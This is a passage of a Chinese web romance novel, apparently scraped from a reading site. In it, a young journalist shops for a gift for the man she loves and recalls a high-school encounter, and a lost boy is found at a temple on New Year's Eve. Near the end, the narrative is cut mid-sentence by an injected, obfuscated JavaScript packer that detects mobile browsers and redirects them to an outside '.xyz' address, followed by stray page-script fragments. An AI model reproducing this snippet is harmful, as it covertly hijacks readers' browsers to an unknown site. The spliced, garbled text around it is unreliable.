不过一天的时间,舆论发酵以后,央视甚至也参与了内容转发,更是让李荣保眉开眼笑了一整个上午。 苏芬指着一个新的词条感慨,“欸,这个路家小少爷怎么也跟着上热搜了?” 林惊岁跟着看了眼那个热搜词条,只比傅清寒的热搜低了一个位置。 #路家小少爷出席慈善晚会,路家捐赠七位数# 参与编纂的杨和不仅没有受到惩罚,甚至收到了李荣保对他少有的夸赞。 以至于眼下,杨和说什么也要请林惊岁吃饭,不然觉得自己过意不去,另一边也暗自庆幸,还好当时他相信了林惊岁。 “岁姐,你是真牛批啊,我以后就跟着你混了!” 杨和献殷勤似的递出了一盒巧克力,眼巴巴地望着她。 他恨不得自己以后能天天和林惊岁合作搭档,到时候还愁转正不稳? 林惊岁强打起几分精神,象征性地拿了一颗,“谢谢。” 向来喜欢待在办公室喝茶的李荣保也走了出来,似乎被这阵躁动所吸引。 但不同于以往,今天的他倒是染上了几分笑意,少了几分戾气。 刚一出门,李荣保就清了清嗓子,依旧是老干部的语气说,“这段时间大家也都辛苦了,加班的加班,拿业绩的拿业绩,所以,今晚我请客,都敞开了吃啊!” 芬姐小声嘀咕:“切,又是从我们奖金里扣。” “……” 李荣保:“我掏钱。” 霎时间欢呼声四起,让老李头掏钱可不是个简单事,太阳打西边出来才有的机会。 他们已经开始兴冲冲地规划接下来定哪个酒店,吃什么菜了。 一片热闹中,唯独林惊岁安安静静地回了原位,李荣保指了下她,要求道:“小林呐,今晚你可必须来,前两次聚会,你可都没参加过。” “老板,我晚上有事情。” 林惊岁直言,眼神丝毫没有闪躲,令李荣保观察半晌,也没有找到她撒谎的证据。 “怎么又有事情?”李荣保依旧有些不太相信。 林惊岁摊摊手,“老板,你是知道的,我家小宝还等着找妈妈呢。” 今晚林惊岁刚好和当地警察约好了时间,打算带小宝认一下目前可能的妈妈人选。 说到小宝,李荣保张嘴欲言又止,最后只得作罢,摆摆手说,“行了行了,知道你不容易,就这吧。” 毕竟她一个未婚实习生,捡个小孩暂带在身边,的确不容易。 之前也建议过林惊岁把小宝托给孤儿院,但是小宝除了林惊岁外,谁也不让抱。 警察只好同她协商,暂由林惊岁照顾一下,他们负责尽快找到抛弃小孩的母亲。 这两天工作忙,林惊岁还把小宝暂时托给好友赵钰宁照顾。 * 林惊岁没料到傅清寒会主动给她打电话,彼时的她正接了一杯咖啡醒脑。 接到电话后,林惊岁忙不迭地把烫手的咖啡杯放在手边。 平复呼吸后,林惊岁轻声喊道,“傅清寒。” “热搜你看了么?”傅清寒直奔主题。 “看了。” 她压抑着喜悦,像是一个得了满分的小孩儿,静静地等待着家长的夸赞与奖励。 而自己则是波澜不惊,以显示自己的成熟。 两人说话并没有兄妹间的亲昵,也没有朋友间的会心,更多的感觉像是领导与下属间的直接距离。 林惊岁早已习惯,并没有表露出什么不满,她有些欣喜。 因为努力这么久,竟然也有一天,自己单挡一面的成绩也会被傅清寒注意到。 她掩藏住心底的雀跃,终究还是没忍住,笑说,“不夸夸我?” “夸什么?”傅清寒的话像是一盆冰凉的水,毫不留情地从头而灌,浇灭林惊岁刚刚涌现的一点热情。 他冷呵一声,“我说过,离开傅氏,你的所有成绩都会被抹杀,不信,你可以继续和我 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但经过林惊岁这么横空一闹,社会的焦点突然大转向,由娱乐新闻转向社会时事,大好的流量被突然削减,任谁也会不满。 林惊岁失神地端起热水杯,给自己灌了一口,又烫又苦的咖啡味道顿时弥漫整个口腔,呛得她咳了好久。 望着手中的黑色咖啡液,林惊岁恍惚间回想起她第一次喝如此苦的黑咖啡。 彼时她刚进入傅家后不久,由于过度悲伤,小姑娘又进入了一个新的环境,各方面不适应,她的成绩一落千丈。 后来为了补课,林惊岁主动询问傅清寒,如何保持清醒。 倘若再昏沉下去,她的人生似乎也该一片灰暗。 傅清寒什么也没说,只是托家里的阿姨送来了一杯热咖啡。 她常在傅清寒的书桌上看见同样的咖啡,傅清寒喝咖啡就像是喝白开水一样,面不改色,似乎很享受。 阿姨转告道,“喝咖啡可以保持清醒。” 那是林惊岁第一次尝试纯正苦口的黑咖啡,像是小时候她生病时爸妈为她冲的感冒药剂,黝黑发苦。 林惊岁没喝完,偷偷倒掉了,暗中对傅清寒改观,“傅清寒一定有病,他没苦硬吃、药!” 可喝完之后,她的确困意全无。 后来,林惊岁主动去适应苦涩的黑咖啡,竟然也有了喝咖啡的习惯,只是在她看来,咖啡依旧很苦很苦,不如奶茶好喝。 赵钰宁也劝过她,不喜欢黑咖啡,还是放弃比较好。 可当时的林惊岁想了想,还是坚持下来,她自我说服道,“习惯了就好了,喝黑咖啡保持清醒。” 她觉得,总会适应的,她总能养成和傅清寒一样的习惯。 赵钰宁笑说,“喝了这么久的黑咖啡,我也没见你清醒过。” 林惊岁愣了下,从回忆中抽离,旋即把弄撒的黑咖啡收拾掉,剩下的一半,她怎么也不想喝,索性就倒掉。 8. 08 08 请假后,林惊岁直接往中心城的方向赶,其实今晚不仅是要带小宝找妈妈,更重要的是,给傅清寒买生日礼物。 在目的地,赵钰宁和小宝早就已经在冷风中等候她多时,小家伙红着脸颊凑过去,撒娇说,“岁岁姐,宁宁姐不给我买糖!” 林惊岁从口袋中掏出他最喜欢的巧克力口味奶糖,捏捏他的小脸蛋说:“是吗,那岁岁姐替你报仇好不好啊?” “好好!”小宝攥着奶糖笑说,然后忍受着赵钰宁毫不客气地rua脸。 看清下车的人后,赵钰宁边搓着发红的脸,边嘟嘟囔囔唠叨道,“林惊岁,你要是再晚点,我都要怀疑你是不是因为上了热搜,然后激动地把我忘了呢。” “你编排我?”说罢,林惊岁还特意递出自己暖烘烘的手,帮她驱寒。 “我怎么敢编排林记者?”赵钰宁一把攥住她温热的掌心,哈哈玩笑道。 林惊岁无奈地挽住她的胳膊,说道,“走吧,时间不早了。” “哦对了,”赵钰宁忽的想起来了什么,把手机凑到她面前,激动道,“岁岁,我男神回来了!” “你男神?”林惊岁正在思考送傅清寒什么礼物比较好,喃喃应和,“你什么时候有男神了?” “对啊,就他,我新粉的呗。”赵钰宁点开一张模糊的照片,小声说,“我悄悄告诉你,你别说出去啊,这是我老板。” 林惊岁大梦初醒似的愣住,然后侧目不可置信地看着她,“你……老板?” 脑海中瞬间浮现了李荣保类型的大叔模样。 嗯,有点猎奇。 小宝精准吐槽说:“好听点是老板,看着跟男模似的。” 林惊岁:“?” 又是男模,这两天她对这个词都有点恐惧了,仿佛是老天爷故意设计她似的。 模糊的照片中,男人似乎正在办公室桌前处理公务。 隐约可以看出男人修长有劲的双腿,大剌剌地敞开,卫衣帽子兜住浓密的黑发,露出脸颊上的一点光影,看不清真容,但氛围感极浓。 “帅吧,我老板,听说才二十三岁,你敢信,这么年轻有为,听说最新举办的全球新科技展览赛上,我们boss长得还堪比男模,我真的要爱上了!” 边说,赵钰宁边指着小宝的鼻子吐槽,“都怪你,把我也带偏了,现在我觉得我们老板真的像是男模了,怎么办?” 小宝无语。 林惊岁只是淡淡地扫了一眼,对于她朝三暮四的行为早已见惯不惊,“前天你的宝贝还是一个新来的奶狗弟弟。” 赵钰宁哎呀一声,捧着手机沉浸在自己的世界里,故作羞涩道,“你不懂啦,那种只是弟弟,这种是老公级别的。” “唯一有一点就是,我只见过他一面,”赵钰宁心痛道,“呜呜呜,他不怎么来公司,听说是居家办公。” “行了行了,我赶时间,快点。” 话音刚落,林惊岁便一把拉住赵钰宁,往商场走。 挑选到最后,林惊岁依旧一筹莫展,望着琳琅满目的商品,忽的有些落寞。 跟着两人强行逛了一上午的小宝也是一脸疲惫,连哄闹的力气也没有了,如果不是一路上还有零食投喂,打死他也不会跟着出来的。 赵钰宁买了两杯奶茶,递给她一杯,边喝边吐槽道,“你这么辛苦地打工还他人情,可人家压根就不在乎,你说他到底缺什么?富二代又不缺钱,眼下又美人在怀,你干嘛要热脸贴冷屁股?” 沉默许久,林惊岁说:“宁宁,我不想欠他的。” “那你怎么还的清嘛,难不成你还要和他结婚不成?” “不可能的。”林惊岁矢口否认。 傅清寒喜欢温禾,这件事他们之间的所有熟人都知道。 “算了算了。” 望着她失魂落魄的模样,赵钰宁也不忍多说,她家岁岁向来干事利落,优秀上进,唯独在傅清寒这里,总是磕磕绊绊不顺畅,她拧巴,自己也劝不动。 “那你干脆给他求个平安符呗。”赵钰宁说,“比其他物质的礼物好太多了,像他们那种公子哥,最缺的就是真心吧。” 话是这么说,可赵钰宁还是感慨,偏偏有个傻乎乎献真心的姑娘就在她身边,也不知道傅清寒上辈子到底攒了多少福。 林惊岁沉吟道:“是个好主意。” “我现在就去。” * “路大少爷,您又抽了哪阵子风,干啥不好,偏要来广安寺求神拜佛啊?” 如果给钟皓一个选择的话,他绝对不会答应某个犟脾气大少爷,陪他来这寺庙里做这种有违科学的迷信行为。 不如跟妹子们喝酒玩儿呢。 但很遗憾,毕竟是他打游戏输给了路今越,愿赌服输,该来的还是会来。 楚云辰倒在后车座,一副生无可恋的模样问了句,“你家里的几尊24K纯金大佛是不够你拜的吗?” 副驾驶上,路今越单手搭在车窗上,懒懒地吹着风,往外眺望远处略显萧瑟的景致,许久才开口,不正经地搭了句:“求个姻缘。” “呲——”车子猛地刹住,在车水马龙的公路上格外突兀。 车内的楚云辰唰得一声撞在了前座椅背,捂着额头呲牙咧嘴。 就连副座的路今越也猛晃了一下,眉眼略有些不悦,侧目睨他,“耗子,你特么要是不会开车,就去后备箱躺着。” “不是哥们儿,”钟皓瞳孔睁大,没管他的揶揄,不可置信地问道,“我去,你你你——被你家老爷子逼疯啦?” “……” 气氛尴尬间,前座中间忽的插入一个脑袋,反应过来后的楚云辰左看看又瞧瞧,视线凝在路今越身上,试探地问了句,“再说了,你不是还在等那个谁嘛?不等了?” 路今越伸手揉了揉额角,头疼道:“老头给我一个月期限,时间不等人。” “那你还搬出大别墅自己住?”楚云辰明显不相信,他路今越要是真的放弃抵抗去联姻,那他前面二十几年算是白活了。 当初哥几个为了帮他躲联姻,硬生生被自家家长警告好几次,抱着为兄弟两肋插刀的决心,反复在作死边缘横跳。 现在说要放弃? 去你大爷的吧! 钟皓重新启动车子,边握方向盘边小声蛐蛐,“还时间不等人,这不还有时间求神拜佛。” “耗子,你要不在 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广安寺假期总是人满为患,作为青榆市四大地方景点之一,广安寺的签符不仅灵验,而且景色雅致,不少游客慕名前来观赏。 但广安寺并非一直红火,相反,前几年,广安寺一直被视作最低调的寺庙,香火也一般。 自从五年前一个意外的与初恋修成正果的视频在互联网爆火后,广安寺也红极一时,以至于到了现在依旧人群熙攘。 赵钰宁刚下了车就滔滔不绝地回忆以前高中的事情。 她指着半山腰的寺庙,隐约还能瞧见淡淡的金光闪烁在夕阳之下,“岁岁,你还记不记得高二那年,你生了一场大病,傅清寒还来广安寺给你祈福呢。” “那个传言么?” 林惊岁伸手拨了一下碎发,心底浸入丝丝暖意,回忆说,“那段时间我被隔离在医院,也不知道傅清寒在做什么,你说你听一个朋友讲,他来广安寺给我写了一道灵签。” “对啊对啊,”赵钰宁兴致勃勃,“你别不信啊,他还给我拍了照片,你又不是没看到,我当时还挺惊讶的,傅清寒这冷脸男竟然有这份心思,不然我怎么可能支持你追他这么久?” 林惊岁皮笑肉不笑地哼了哼,“当时温禾也受伤了,你又不是不知道,傅清寒那段时间和温禾组了比赛,肯定是为她求的。” 这点事情自我欺骗,林惊岁还真不至于,她至少没有陷进自我说服的漩涡,单纯地相信傅清寒对她回过头。 一向不怎么站傅清寒的赵钰宁也杠了起来,“那你怎么解释,当时他离开后,那个树上的灵签写得是你的名字?” “也许是同名同姓?谁知道呢,反正不可能是傅清寒。” 可林惊岁也想不透这一点,如果不是傅清寒,那是谁愿意爬那么高的山为她求一道灵签呢? 有时候,林惊岁真想骗骗自己,告诉她那就是傅清寒做的,傅清寒对她也不算淡漠。 但可惜,她这个人,从来不会活在幻想中。 因为她很确信,那件事根本不是傅清寒做的,只不过她没有告诉任何人,残留着她最后的一丝体面。 9. 09 09 “林惊岁是吧,这是你的病例报告单。” 白大褂的医生拧眉,伸手戴好口罩,特意拉开了一些距离,交代说,“你这个流感比较严重,为了本校学生的安全,你必须隔离一段时间,你明白吗?” 女生穿着干干净净的衬衣校服,眉眼柔和,口罩上方的睫毛卷而翘。 阳光落在她身上,勾勒出一道暖暖的光边,她纠结道,“需要隔离多久呢?” 高中课程紧张,她不敢耽误太多时间。 医生叹息,“至少,也需要两周,不仅要等流感下去,还要等流感没了传染性,检测合格才可以。” 林惊岁一个人安静地坐着,一双眸子反复琢磨着那张病历单,尽管此刻的她头昏眼花,依旧强撑着。 因为此时此刻,她得了一种必须远离所有人独自隔离的病症。 眼见小姑娘没说话,医生扫了她一眼,只觉得熟悉,这个女生似乎经常出现在光荣榜上,以至于向来不关注教学的校医也对她有几分印象。 陵川一中竞争激烈,稍微落下一点,就会在成绩排名上被迅速反超。 医生也看出了她的顾虑,安慰道,“学习总能赶上的,现在最重要的还是身体,你和家长打个电话,让他们带你回去,先治病,请假那边,我可以帮你向学校反馈。” “好,谢谢您。” 林惊岁坦然地接受了这个结果,因为她不能为了自己的学习进度,而把病症染给班级的同学。 同时,她也不能把这件事告诉伯父伯母,更不能回家,本来她寄人篱下,就已经麻烦了他们,怎么能把疾病再带给他们? 一番思想斗争之下,林惊岁心中愈加忐忑,失魂落魄地走在操场上,竟不知不觉地走到了篮球场附近。 篮球场地势低于四周的栏杆,学校内的学生总喜欢围在栏杆旁边往下眺望,观看他们的篮球比赛。 趁着上课时间,操场还没有人,不知去处的林惊岁索性找了个栏杆角落坐了下来,迷迷糊糊地抱着膝盖,把脸埋在其中睡了会儿。 又是一个人了。 爸妈出事的时候,也是她一个人,这样蜷缩在角落,孤落落地抱着自己。 林惊岁看着天边火辣辣的太阳,却只觉得好冷好冷,冷得她直哆嗦。 忽的,一声惊呼在她耳畔响起,好似一场失重的电梯在她脑海中盘旋,砰的一声坠落。 “啪——” 迅疾的篮球擦着她的额头飞过,滚落到了不远处的田径场上。 林惊岁脑袋晕乎乎的,额头的刺痛令她鼻尖泛酸,一股无名的火气和委屈涌上心头,她咬着下唇,把头埋得深了些。 “喂,同学?” 一道欠欠的少年音从身前传来,似乎还有一道逆着光的阴影打落在她身上,林惊岁没有抬头,咬唇不发出声音。 “你没事吧?” 依旧是居高临下。 林惊岁长长地叹了口气,把口罩戴好,顶着灼烫发红的额头,头一次不悦地质问,“你不会道歉吗?” 也许是没料到女生能有这么大的反应,路今越一时间愣在原地,刚才高傲欠兮兮的模样也瞬间定格。 “上课时间,谁允许你们打球的?” 林惊岁眼眶泛红,颤音说,“我都已经找了个这么偏僻的角落了,你们打球为什么还能砸中我?” “我就这么倒霉的吗?” 林惊岁说着说着,鼻子一酸,眼泪刷的一下便大滴大滴地掉了下来。 啪嗒啪嗒,像是一颗颗无形的巨石,坠入夏日的湖泊,荡起巨浪波澜。 “为什么总是我、总是我遇到、这种事?”林惊岁抬手抹掉眼泪,可眼泪像是掉了线的珠子,怎么也止不住。 路今越一时无话,刚刚吊儿郎当的状态尽数收敛,还有几分手足无措。 旁边的钟皓已经在催他,“路今越,你他妈捡个球慢死了,干嘛呢?” 钟皓走进一瞧,哭声瞬间挤入他的耳朵,他看看哭泣的女生,又瞧瞧自家兄弟挺拔的身姿。 两相对比,他骂道,“好你个路今越,你竟然背着我们把妹,还把人家妹子搞哭了?” 路今越正烦躁得不行,没好气地瞪了他一眼,脱口而出道,“刚刚是谁让我背过身投篮的?” 这下好了,把人家女生砸哭了,怎么哄? 钟皓没脸没皮地凑近他耳畔,“路哥,你抛得绣球,你解决呗。” “滚!” 路今越没工夫和钟皓乱扯,刚刚在下面球场,钟皓开玩笑,让路今越背过身投篮,看看会不会中。 反正闲着也是闲着,路今越也就打算试试。 准备期间,钟皓打趣说,“路哥,人家古代大家闺秀找郎婿都是这么抛绣球招亲呢,你这一球之后,路大少爷不会便宜了篮筐了吧。” 路今越根本没把这句话放心里,只是在心里默念说:那个胖子说的话,可以当作放屁。 谁知道,这绣球、哦不,篮球,竟然真的精准地砸到了一个角落的女生。 就连路今越也觉得纳闷,他的技术怎么突然烂成这样,如此偏僻的角落都能让他的球砸过来。 打发走了钟皓,路今越只得半蹲下身,与林惊岁平视。 两人之间隔着一定距离,却恰好让影子相撞,路今越头一次低声下气,冷着脸道:“我承认是我错了,所以你想要什么补偿?” 林惊岁抽噎着,嘴上没有说话,实则气愤得不行,他根本没有认错的态度! 思及此,林惊岁恨恨地抬头,一肚子气正无处发泄之际。 刚准备好好教训一下这个贱兮兮的男生,却猝不及防撞入一双漫不经心的视线。 林惊岁一顿,刚到嘴边的话顿时又咽了回去,只剩下通红的眼眸。 迟疑几秒钟,林惊岁别过脸去,屏住呼吸,往旁边挪了挪,“你离我远点。” 流感是呼吸性传染病,林惊岁自然“大气不敢喘一下”。 路今越却觉得好笑,有人,竟然在看见了他帅到惨绝人寰的这张脸时,主动移开,还让他离远点?! 不是,他就长得这么可怕么? 连看都不敢看他一下? “同学,我脸上有东西?”路今越逼近两步,百思不得其解。 林惊岁又往角落挪了挪,没有给他一个正脸,依旧摇头,没说话。 路今越心道,呵,赤裸裸的挑衅! 视线下移,路今越注视到了林惊岁额角生出的红疮,青葱的眉角微抬,语气散漫道,“啧,青春痘啊。” 他了然于胸,自信满满,心说,怪不得呢,原来是长青春痘,害怕自卑啊。 路今越单手抱球,站直身体,低头说,“我送你去医务室,再请你吃顿饭,够了么?” “我不用。” 两人谈话间,另一道清冷的嗓音插入其中,“林惊岁。” 侧目看去,林惊岁怔然出声道,“傅清寒。” 路今越微微挑眉,下巴轻抬,格外散漫,两相打量,“你们认识?” 语气略有些冷淡。 傅清寒没回应路今越,毕竟作为众星捧月的天之骄子,和全校校纪有名的“违法分子”,是没有什么共同话题的。 如果说有,也就是路今越家里也算是豪气,家族的底气托举出他那样混不吝的性子。 虽然平时吊儿郎当,但若是论成绩实力,凭心而论并不比他差多少。 “我听说,你身体不舒服去了校医院,”傅清寒走近,观察着,“什么问题。” 林惊岁拉好口罩,躲避视线糊弄道,“没、没什么,就是有些感冒,吃点药就好了。” 说罢,林惊岁忽的指着另一侧的路今越,准确来说是他手指正转着的篮球,找了个借口道,“他刚刚拿球砸到了我,说请我喝奶茶,我们先过去了。” 不等傅清寒有所反应,林惊岁移过目光,对上男生漆黑的眼眸,夹杂着几分尴尬与哀求,“对吧?” 路今越只觉得心里染了一抹莫名的熟悉感,他顿了顿,平静地吐出两个字,“不对。” 冷漠戏谑。 林惊岁咯噔一下,微妙的尴尬弥漫四周,一时之间不知作何反应,只是下意识准备开口找补。 但路今越没给她找补的机会,不假思索道,“不仅请她喝奶茶,还要请她吃饭,不然多没诚意啊。” 话音未落,路今越便轻抬下巴指着奶茶店的方向,手中的篮球被他随意丢尽了下面的篮球场。 被吓了一跳的钟皓在下面又跳又骂,最后只得到一句,“有事,不打球了。” 钟皓翻了个白眼,仰天冷笑,心说,你他妈就是去撩妹了,装森么? 但又转念一想,不对啊,这货又不是楚云辰,又不是什么近女色的花花公子,撩个屁的妹子啊? 下课铃声响起,傅清寒意味深长地对林惊岁说了句,“晚上回去,我有事想找你谈谈。” “哦、哦哦,好。”林惊岁受宠若惊,一步一步地挪着,跟在路今越身后去奶茶店。 夕阳把两人影子拖得很长,像是一个缀在身后的尾巴,林惊岁这才渐渐放松下来。 只要没有傅清寒,她就不会莫名其妙地紧张悸动。 脑海中盘旋着那句话,林惊岁想不明白,他要找自己谈什么,是她犯了什么错吗? 从小到大,傅清寒对她管得很严,相较于伯父伯母而言,傅清寒这位兄长更像是事无 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话未尽,林惊岁就站起身来打断,斩钉截铁地说,“我原谅你了,你走吧,不用买奶茶了,再见!” 丝毫不给路今越反驳的机会,话就这么堵在喉间。 “哦对了,你回去——”林惊岁顿了下,纠结着组织话语,“记得多体检,注意身体,不舒服了随时找我,我可以负责。” 一番话下来,林惊岁自觉没什么问题了,就是听起来有些怪怪的。 像是她对他做了什么不可描述的事情,最后拍拍胸脯来了句“我会负责”结尾。 听起来好渣啊。 路今越也是呛着了,不可置信地看着她,就差一句“whatfuck”脱口而出。 但他还是咽了下去,拧眉问,“你什么意思?” “就……字面意思。” “字——”路今越彻底噎着了,体检,注意身体,不舒服还要找她,有病吧?! 她是不是在暗示他什么? 不能吧,路今越悄咪咪扫了一圈自己的身材,嗯,有腹肌,健壮结实,长得没问题,帅且自知。 那是哪里的问题? 林惊岁说完,转身就走,边走边念念叨叨地叹气烦恼,时而揉揉太阳穴,时而跺脚。 好似从刚刚一个温顺的乖乖女转变成了一个藏匿其小心思、炸了毛的猫咪。 变化还挺大。 路今越看着背影越来越远的林惊岁,一股淡淡的无语感弥漫心头,他竟然让人瞧不起了?! 放学后,路今越始终被这件事扰的心烦,越想越憋屈,体检? 检就检呗,谁怕谁啊! 熟悉的几个哥们想要拉他去唱K,也都被他一口回绝,钟皓也不管。 毕竟路今越这货拽得很,又拽又要面子,他要做什么谁都改不回来,但他有自己的安排,也有他自己的执行力。 KTV里的几个社会人士正和钟皓几人玩牌,几个打扮成熟的女生端着酒杯凑近正在洗牌的钟皓,蓄意问,“路大少爷今天怎么没过来?” 钟皓头也没抬地说,“你们又不是不知道,你们几个在,路大少爷酒都不敢喝。” 也不怪路今越故意针对她们,只是明眼人谁都看得出来她们的目的。 路今越玩归玩,但向来很有分寸。 几个打扮艳丽、花枝招展的女生没趣地离开。 只剩下几个男生聊天,其中一个问,“路哥是不是又去他小时候的那个孤儿院了?” “说不定,”钟皓抬头叹口气,哀伤的眼神,最后憋出来一句,“其实吧,路哥还是很忧愁善感的,他是个敏感的boy。” “……” 与此同时,另一侧,全副武装的路今越偷偷摸摸地溜进了医院。 墨镜,黑色口罩,休闲外套,脊背硬挺,仿佛是某个溜出来走秀的隐藏明星偶像。 体检科内,路今越淡定地坐在前椅上,若无其事地轻咳了一声,随后左顾右盼,示意上一位体检者关上门。 医生从电脑前抬起头,打量了一下眼前的男生,长得挺俊,年纪轻轻,就是不确定是来检查什么的,“你好。” “你好。” 路今越倒挺客气,“我要体检。” “检查哪一方面?” 说着,医生还扫了他一眼,意味深长,“这里没其他人,随便说,叔叔都理解。” 路今越:“?” 他看着就这么弱不禁风么? 10. 10 10 广安寺又恰好遇到跨年夜,顿时人山人海,林惊岁临时接到了公司的电话,需要处理一点事情,就暂时让赵钰宁帮她看一下小宝。 赵钰宁带着这个小屁孩儿逛了许多。 只是人来人往,小宝一个不留神溜到了其他地方,等到赵钰宁拿着新做好的糖人出来时,却早就不见小屁孩儿的身影。 此刻赵钰宁哪里还能顾得上糖人,四处寻找小宝。 眼见跨年时间马上就要到,赵钰宁也不敢联系林惊岁,担心她太着急,只能先去找治安人员帮忙。 所幸小宝身上有林惊岁的电话号,小孩儿也聪明,应该不会出大问题,她自我安慰着。 人群中,一个六七岁的小孩儿正穿梭在密密麻麻的腿脚间,四处张望。 张子顺好不容易故意磨了那么久才让她们同意带他来广安寺,又故意挣脱赵钰宁的牵扯,就是为了现在。 他要去找妈妈。 在他与妈妈的最后记忆里,妈妈说,她去给他买糖葫芦了,就在广安寺。 广安寺里的糖葫芦最好吃,妈妈知道他的喜好,所以肯定会在广安寺给他买糖葫芦的。 张子顺抹了下不争气的眼泪,视线模糊的寻找着妈妈的身影,可却一无所获。 所有的糖葫芦摊贩前都没有他梦里的身影,他想,妈妈只是还没到而已。 几个不安好心的男人似乎把视线定格在了这个小屁孩儿身上,逐渐靠近。 可张子顺似乎还没有注意到危险的来临,只是红着眼喊妈妈。 直到一个高大的身影径直挡在了他身前,堵住了他往前的路,阴影打落,将他的小身影完全遮住。 张子顺瞬间警惕起来,下意识就要逃跑喊救命,可还未等他哭喊出声,低沉富有磁性的嗓音先他一步钻入耳朵。 “小屁孩儿,你妈妈呢?” 没有任何危险的气息,张子顺抬头定睛看去,第一印象只觉得这个面孔好好看。 下一刻又觉得莫名的熟悉,好像自己在哪里见到过。 “找不到了?” 语气淡淡的,带着几分疏远。 路今越半蹲下身,和他平视,阴影散去,张子顺眼前顿时一亮又一亮,哭着就喊了句,“爸爸。” “?” “我靠,路今越,你他妈真的背着我们有私生子了?” 钟皓不可置信,震惊地看着眼前的小孩儿。 路今越也是受宠若惊,看着这个一把鼻涕一把泪的小孩儿,嫌弃地抬手摁住他的额头,不让他靠近。 旁边不怀好意的路人也四散而去,没敢上前,毕竟这小孩儿开口就是爸爸,他们上去也没用。 张子顺委屈巴巴地凑近,“爸爸,我们去找妈妈好不好。” “找,必须找!” 钟皓激动地摩拳擦掌,早就准备一睹嫂子真容,这要是当作一个重磅消息卖给路老爷子,估计老爷子要把家产上写上他的名儿呢。 “别添乱。” 路今越一边投给钟皓一个白眼,一边极有耐心地拎起张子顺的后衣领,一本正经地教训道,“臭小子,到处乱跑,你妈妈多着急?能不能体谅一下你妈妈?只会惹事捣乱。” 被一把拎起来的张子顺呆楞住,“?” 叫你一声爹,你还真把我当儿子啦? 钟皓看看小孩,又看看理直气壮的路今越,锐评:不像演的。 怪不得这货刚刚就一直在瞧这个小孩,原来早就认出来了这是他的私生子呐,说不定今天就是他们约会的日子! 我靠,好有道理,莫非我是福尔摩斯? 钟皓越想越佩服自己。 “你妈妈电话号码呢?”路今越绕回正题。 张子顺把脖子上的刻字项链拿出来,示意他这是电话号码。 路今越单挑了一下眉,“你小子有没有一点警惕心?就这么轻而易举拿出来了?如果我们是坏人怎么办?” “我‘妈妈’认识你,你不是坏人。” 张子顺笃定道,“你是不是我‘妈妈’的朋友啊?你能带我去找她吗?” 路今越眉眼暗淡一瞬,似乎想要从张子顺的脸颊上看出一些过往的影子,最后却无疾而终。 只得出一个结论:你爸爸到底是怎样强大的基因,能把你妈妈的那么惊艳的颜值都遮住? “带你找妈妈可以,”路今越睨了眼项链上的电话号码,意义不明地问了句,“你先说你爸爸呢?” 张子顺紧绷着小脸,半晌才支支吾吾说,“我爸、没有,我没有爸爸,他不要我和妈妈。” 路今越听着他委屈巴巴的说辞,一股无名火忽的燃起,半晌才看着小宝皱巴巴的小脸,嗓音沙哑说,“你们母子,还怪招人可怜的。” 张子顺:?更像我爹了。 * 林惊岁处理完公司的事情后,刚关了手机松口气,微信框却突然弹出一条消息。 是一条好友申请,“Lstar”。 她微顿,下意识回想起前段时间的那个神秘慈善大爷,不就是这个代名么? 【Lstar:你儿子在我这儿。】 林惊岁愣住了,她没有选择添加好友,反而拨打赵钰宁的电话确认。 儿子? 是小宝么? 果不其然,电话里的赵钰宁已经有哭腔了,治安人员到现在也没有见到走失的小孩,“岁岁,怎么办啊,今晚跨年夜,小宝不会被——” 林惊岁心底一咯噔,无名的凉意浸透手脚,她强行稳住心神,冷静道,“我知道了,宁宁你先去报警,我待会儿打给你。” 电话挂断后,林惊岁同意了好友申请,她不敢拿小宝的命去赌,于是直接拨了一个语音通话过去。 铃声振动,连带着林惊岁的心跳声一起波动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002717|161838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起伏。 嘟—— “妈妈!” 拨通的一瞬间,张子顺的声音咻的一下透过手机屏幕传来了过来,带着几分哭腔,像是一针强有力的镇心剂。 背后还有人群嘈杂的吵闹声,似乎就在不远处。 不知道是不是这一声妈妈太过自然,以至于林惊岁顺其自然地忘了,张子顺明明一直称呼她姐姐。 “小宝,你在哪儿?有没有坏人欺负你?” 林惊岁毕竟有记者的专业素养,在电话接通时就按下了录音键,即便真的出现什么重大事件,也能做到临危不乱。 “妈妈,我还好,就是有个叔叔——” 话未尽,张子顺手中的电话就已经被一只骨节分明的手夺了过去,任他如何争夺也抢不回来。 林惊岁微微拧眉,察觉到手机已经被另一个人拿走后,她直接开口问,“你是谁?现在在哪儿?要多少钱?” 嘈杂的声音中,一股恍若清流般的松子酒嗓音传来,如同伦敦大雪夜白雪压弯松枝时的清脆声。 “不要钱。” “那你要什么?” 林惊岁说,与此同时,林惊岁也听到了一声熟悉的吆喝,“平安符,平安符,写下新春祝福可保平安!” 祈福处,林惊岁若无其事地用对话掩盖自己的喘息声,一边寻着记忆里的路线往那棵古树旁赶去。 “我要你——” 林惊岁顿住脚步,只听对面那人欠兮兮地把话补充完整,“亲自过来接这个小屁孩儿。” 听起来不像是个绑匪。 “你儿子走丢了,什么时候过来接?” 路今越语气慵懒,另一只手此刻正摁在小宝圆圆的脑袋上,眼尾上挑,格外玩味。 “我、现在就去。” 两人说话的间隙,电话内传来一声响彻云霄的“咚——” 广安寺的大金钟撞响了2015年鹿宜市的第一声。 跨年夜欢呼声与幸福声传遍周围,仿佛是一种传染性极强的毒药,渗透发肤,侵入脑海。 林惊岁鼻尖迎着冷风,早已泛红,眼角周围因为疲劳缘故也已经微微湿润。 可她清晰地听到对面的男人开口,语气勉强算得上温柔。 “新年快乐。” 隔着密集人群与刺骨寒风,林惊岁看到了一个穿着黑色风衣的高大男人,正在接打电话。 也许是那张脸的侧颜太过精致立体,以至于他在涌动的人群中格外明显。 林惊岁只觉熟悉,下一瞬,男人似乎有所感应似的转过头来,黑色瞳仁精准无误地锁住她所在的位置,下巴微抬。 他是,路今越。 前两天刚刚见过的高中校友。 彼时青春岁月里,路今越是陵川一中有名的天之骄子,与傅清寒皆是校内风云人物。 唯一不同的就是,路今越太过桀骜不驯。 11. 11 11 